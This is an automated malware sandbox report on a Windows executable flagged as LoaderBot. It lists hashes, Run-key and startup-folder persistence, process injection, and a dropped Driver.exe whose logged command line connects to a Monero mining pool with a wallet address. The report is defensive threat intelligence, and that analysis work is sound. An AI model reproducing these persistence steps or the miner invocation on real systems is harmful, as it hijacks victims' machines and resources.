Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
12/04/2022, 09:07
Static task
static1
Behavioral task
behavioral1
Sample
dfc3e56cc6384a5f49069a49d658a987.exe
Resource
win7-20220331-en
Behavioral task
behavioral2
Sample
dfc3e56cc6384a5f49069a49d658a987.exe
Resource
win10v2004-en-20220113
General
-
Target
dfc3e56cc6384a5f49069a49d658a987.exe
-
Size
4.0MB
-
MD5
dfc3e56cc6384a5f49069a49d658a987
-
SHA1
75294fc109314949b1b5d00669d4b73a323e290c
-
SHA256
7656ed477671645be99bd254dc2547709e6545b2fc40124cd2bc4fac38d18447
-
SHA512
97b65880ca0788a5b86357802a3042e1619957ebd386afb2b8e115a951560b4cf9477b980cbad31a907f09b1c6646a408c8cc45b748e9f4f77d8acb401780824
Malware Config
Signatures
-
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
-
LoaderBot executable 1 IoCs
resource yara_rule behavioral2/memory/488-130-0x00000000000E0000-0x00000000004E0000-memory.dmp loaderbot -
Executes dropped EXE 2 IoCs
pid Process 4572 Driver.exe 4108 Driver.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation dfc3e56cc6384a5f49069a49d658a987.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url dfc3e56cc6384a5f49069a49d658a987.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\dfc3e56cc6384a5f49069a49d658a987.exe" dfc3e56cc6384a5f49069a49d658a987.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 5048 4572 WerFault.exe 84 -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe 488 dfc3e56cc6384a5f49069a49d658a987.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 488 dfc3e56cc6384a5f49069a49d658a987.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 488 dfc3e56cc6384a5f49069a49d658a987.exe Token: SeLockMemoryPrivilege 4572 Driver.exe Token: SeLockMemoryPrivilege 4572 Driver.exe Token: SeLockMemoryPrivilege 4108 Driver.exe Token: SeLockMemoryPrivilege 4108 Driver.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 488 wrote to memory of 4572 488 dfc3e56cc6384a5f49069a49d658a987.exe 84 PID 488 wrote to memory of 4572 488 dfc3e56cc6384a5f49069a49d658a987.exe 84 PID 488 wrote to memory of 4108 488 dfc3e56cc6384a5f49069a49d658a987.exe 89 PID 488 wrote to memory of 4108 488 dfc3e56cc6384a5f49069a49d658a987.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\dfc3e56cc6384a5f49069a49d658a987.exe"C:\Users\Admin\AppData\Local\Temp\dfc3e56cc6384a5f49069a49d658a987.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:488 -
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8AJRdL1789zfDDn4L3pUSNBs1ick9moyoTfiUL3Gh2V4fPRDQqqVGwBW8rzWVLzXv2HScqDWo3geT7AJwLqefADwQ3cyPfg -p x -k -v=0 --donate-level=1 -t 12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4572 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4572 -s 7643⤵
- Program crash
PID:5048
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8AJRdL1789zfDDn4L3pUSNBs1ick9moyoTfiUL3Gh2V4fPRDQqqVGwBW8rzWVLzXv2HScqDWo3geT7AJwLqefADwQ3cyPfg -p x -k -v=0 --donate-level=1 -t 12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4108
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 460 -p 4572 -ip 45721⤵PID:2460
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322